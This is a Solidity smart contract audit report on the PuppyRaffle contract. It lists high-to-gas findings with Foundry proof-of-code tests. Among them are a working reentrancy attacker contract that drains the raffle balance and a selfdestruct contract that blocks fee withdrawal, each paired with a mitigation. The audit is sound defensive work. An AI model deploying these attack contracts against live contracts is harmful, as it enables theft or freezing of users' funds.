Puppy Raffle Audit Report

Version 0.1

Ethereal Audits

January 12, 2024

Puppy Raffle Initial Audit Report

Ethereal Audits

January 12, 2024

Puppy Raffle Initial Audit Report

Prepared by: Ethereal Audits

Lead Security Researcher:

- aciDrums7

Table of Contents

- Puppy Raffle Initial Audit Report
- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High

    * [H-1] Reentracy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
    * [H-2] Weak randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner and influence or predict the winning puppy
    * [H-3] Integer overflow in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees
    * [H-4] Unsafe typecasting from `uint256` to `uint64` in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees
    * [H-5] Mishandling ETH in `PuppyRaffle::withdrawFees` function allows users to block the fees withdrawal
- Medium
    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas cost for future entrants
    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Use of “magic” numbers is discouraged
    * [I-6] Missing `WinnerSelected`/`FeesWithdrawn` event emition in `PuppyRaffle::selectWinner`/`PuppyRaffle::withdrawFees` methods
    * Summary
    * Recommendations
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variable in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Ethereal Audits team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

			Impact	
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings descibed in this document correspond to the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- `Owner` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	2
Low	1
Info	7
Total	15

Findings

High

[H-1] Reentracy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we do update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue this cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

```
function test_RefundReentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
        uint256 startingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackerContractBalance = address(attackerContract).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("starting attacker contract balance:", startingAttackerContractBalance);
        console.log("starting contract balance:", startingContractBalance, "\n");

        console.log("ending attacker contract balance:", endingAttackerContractBalance);
        console.log("ending attacker contract balance:", endingContractBalance);

        assertEq(endingContractBalance, 0);
        assertEq(endingAttackerContractBalance, startingAttackerContractBalance + startingContractBalance + entranceFee);
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to partecipate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!

3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees` function. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude it 3. `totalFees` will be:

```
// This value is taken from `PuppyRaffleTest`
uint256 entranceFee = 1e18;

totalFees = totalFees + uint64(fee);
// aka
totalFees = 0.8e18 + 17.8e18;
// and this will overflow!
Expected fees: 18.6e18
Actual fees: 1.53255926290448384e17
```

Code

```
modifier playersEntered() {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        _;
    }
```

```
function test_SelectWinnerOverflow() public playersEntered {
    // calling the first time selectWinner
    vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
        puppyRaffle.raffleDuration());
    vm.roll(block.number + 1);
    vm.prank(playerOne);
    puppyRaffle.selectWinner();

    // players needed for the uint64 overflow
    uint256 numPlayersToOverflow = 89;
    address[] memory players = new address[](numPlayersToOverflow);
    for (uint256 i = 0; i < players.length; i++) {
        players[i] = address(i + 1);
    }

    uint256 expectedFees = (players.length * entranceFee * 20) / 100;

    // entering Raffle
    hoax(playerOne, players.length * entranceFee);
    puppyRaffle.enterRaffle{value: players.length * entranceFee}(
        players);

    // calling selectWinner to update totalFees
    vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
        puppyRaffle.raffleDuration());
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    console.log("Expected fees", expectedFees);
    console.log("Actual fees:", puppyRaffle.totalFees());

    // if true -> totalFees overflowed
    assert(puppyRaffle.totalFees() < expectedFees);

    // We are also unable to withdraw fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clerly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Additionally, remove the balance check from `PuppyRaffle::withdrawFees`:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

4. Or, instead of removing it, change the balance check from `PuppyRaffle::withdrawFees` to be greater then or equal instead of strictly equal:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

[H-4] Unsafe typecasting from `uint256` to `uint64` in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees

Description: if the value casted from `uint256` to `uint64` exceeds the maximum value of a `uint64`, the casting will result in a loss of precision, causing a wrong result for the `totalFees` value.

```
uint256 myVar = type(uint64).max + 1
// 18446744073709551616
uint64 myVarCasted = uint64(myVar)
// myVarCasted will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees` function. However, since `totalFees = totalFees + uint64(fee)`, if casting `fee` to a `uint64` causes a loss of precision, the final value of `totalFees` will be wrong and the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract because of the `require` condition at the beginning of `PuppyRaffle::withdrawFees`.

Proof of Concept:

1. We conclude a raffle of 4 players

2. We then have 93 players enter a new raffle, and conclude it
3. `totalFees` will be:

```
// This value is taken from `PuppyRaffleTest`
uint256 entranceFee = 1e18;

uint256 fee = (93e18 * 20) / 100;
// aka
uint256 fee = 18.6e18;
// typecasting this number will result in a loss of precision
totalFees = totalFees + uint64(fee);
// aka
totalFees = 0.8e18 + 1.53255926290448384e17;

Expected fees: 19.4e18
Actual fees: 9.53255926290448384e17
```

Code

```
modifier playersEntered() {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        _;
}

function test_SelectWinnerOverflow() public playersEntered {
    // calling the first time selectWinner
    vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
       puppyRaffle.raffleDuration());
    vm.roll(block.number + 1);
    vm.prank(playerOne);
    puppyRaffle.selectWinner();

    // players needed for the uint64 overflow
    uint256 numPlayersToOverflow = 93;
    address[] memory players = new address[](numPlayersToOverflow);
    for (uint256 i = 0; i < players.length; i++) {
        players[i] = address(i + 1);
    }

    uint256 expectedFees = (players.length * entranceFee * 20) / 100;

    // entering Raffle
    hoax(playerOne, players.length * entranceFee);
    puppyRaffle.enterRaffle{value: players.length * entranceFee}(
       players);

    // calling selectWinner to update totalFees
    vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
       puppyRaffle.raffleDuration());
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    console.log("Expected fees", expectedFees);
    console.log("Actual fees:", puppyRaffle.totalFees());

    // if true -> totalFees overflowed
    assert(puppyRaffle.totalFees() < expectedFees);

    // We are also unable to withdraw fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
       ;
    puppyRaffle.withdrawFees();
}
```

1. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`, so it will be not more needed to typecast the `fee` variable to `uint64`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Additionally, remove the balance check from `PuppyRaffle::withdrawFees`:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

4. Or, instead of removing it, change the balance check from `PuppyRaffle::withdrawFees` to be greater then or equal instead of strictly equal:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

[H-5] Mishandling ETH in `PuppyRaffle::withdrawFees` function allows users to block the fees withdrawal

Description: Apparently the only way to deposit ETH in the `PuppyRaffle` contract is via the `enterRaffle` function. If that were the case, this strict equality:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

would always hold. But anyone can deposit ETH via `selfdestruct`, or by setting this contract as the target of a beacon chain withdrawal (see last paragraph of this link section), regardless of the contract not having a `receive` function.

Impact: The `PuppyRaffle::withdrawFees` function would revert forever, not allowing to withdraw the fees and send them to the `feeAddress`

Proof of Concept: 1. Some users enter the raffle 2. A user calls the `PuppyRaffle::selectWinner` function to end the raffle 3. A malicious user, using `selfdestruct`, force sends ETH to the `PuppyRaffle` contract increasing its balance 4. This will make `PuppyRaffle::withdrawFees` function revert and, since it would be really difficult to re-align the value of `totalFees` with the new contract balance, lead to a DoS (Denial of Service), making impossible to withdraw the fees.

Code

```
contract SelfDestructAttacker {
    address immutable i_target;

    constructor(address target) {
        i_target = target;
    }

    function attack() external {
        selfdestruct(payable(i_target));
    }
}

function test_WithdrawFeesSelfdestruct() public playersEntered {
        // calling the first time selectWinner
        vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
            puppyRaffle.raffleDuration());
        vm.roll(block.number + 1);
        vm.prank(playerOne);
        puppyRaffle.selectWinner();

        // Deploying the attacker contract, and funding it with some
            ETH
        SelfDestructAttacker attacker = new SelfDestructAttacker(
            address(puppyRaffle));
        vm.deal(address(attacker), 0.1 ether);
        console.log("Initial Puppy Raffle balance:", address(
            puppyRaffle).balance);

        // calling attack function
        attacker.attack();

        console.log("Ending Puppy Raffle balance:", address(puppyRaffle
            ).balance);
        console.log("Puppy Raffle totalFees:", puppyRaffle.totalFees())
            ;

        // We expect withdrawFees to revert due to the failed check
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        vm.prank(playerOne);
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: To fix this issue, the code could be changed to this:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

In this way, the `PuppyRaffle::withdrawFees` function can be called when the ETH balance is at least equal to `totalFees`, making the `selfdestruct` hack harmless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: (Proof of Code)

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6.250.668 gas - 2st 100 players: ~18.068.760 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_EnterRaffleDenialOfService() public {
        vm.txGasPrice(1);
        // Let's enter the first 100 players
        uint256 numPlayers = 100;
        address[] memory playersFirst = new address[](numPlayers);
        for (uint256 i; i < numPlayers; ++i) {
            playersFirst[i] = address(i);
        }
        uint256 gasStartFirst = gasleft();
        puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee() *
           numPlayers}(playersFirst);
        uint256 gasEndFirst = gasleft();

        uint256 gasUsedFirst = (gasStartFirst - gasEndFirst) * tx.
           gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
           );

        // now for the 2nd 100 players
        address[] memory playersSecond = new address[](numPlayers);
        for (uint256 i; i < numPlayers; ++i) {
            playersSecond[i] = address(i + numPlayers); // 0, 1, 2 ->
               100, 101, 102
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee() *
           numPlayers}(playersSecond);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
           gasprice;
        console.log("Gas cost of the second 100 players: ",
           gasUsedSecond);

        assert(gasUsedFirst < gasEndSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wether a user has already entered.

```
+   uint256 public raffleID = 1;
+   mapping(address => uint256) public playerToRaffleID;
.
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
+       // check for duplicates only from the new players and before
    adding them to the raffle
+       for(uint256 i; i < newPlayers.length; i++) {
+           require(playerToRaffleID[newPlayers[i]] != raffleID, "
    PuppyRaffle: Duplicate player");
+       }

        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           playerToRaffleID[newPlayers[i]] = raffleID;
        }
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
        // existing code
+       raffleID++;
    }
```

3. Alternatively, you could use Openzeppelin's `EnumberableSet` library.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Crete a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, waisting gas.

Proof of Concept:

1. User enters the raffle, they're the firs entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to rever if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 193

```
        previousWinner = winner; //e vanity, doesn't matter much
```

- Found in src/PuppyRaffle.sol Line: 217

  ‘`solidity feeAddress = newFeeAddress;`

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it’s much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] Missing `WinnerSelected/FeesWithdrawn` event emition in `PuppyRaffle::selectWinner/PuppyRaffle::withdrawFees` methods

Summary

Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for tracking this off-chain

Recommendations

Add a WinnerSelected event that takes as parameter the currentWinner and the minted token id and emit this event in `PuppyRaffle::selectWinner` right after the call to `_safeMint_`

Add a FeesWithdrawn event that takes as parameter the amount withdrawn and emit this event in `PuppyRaffle::withdrawFees` right at the end of the method

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is muhc more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```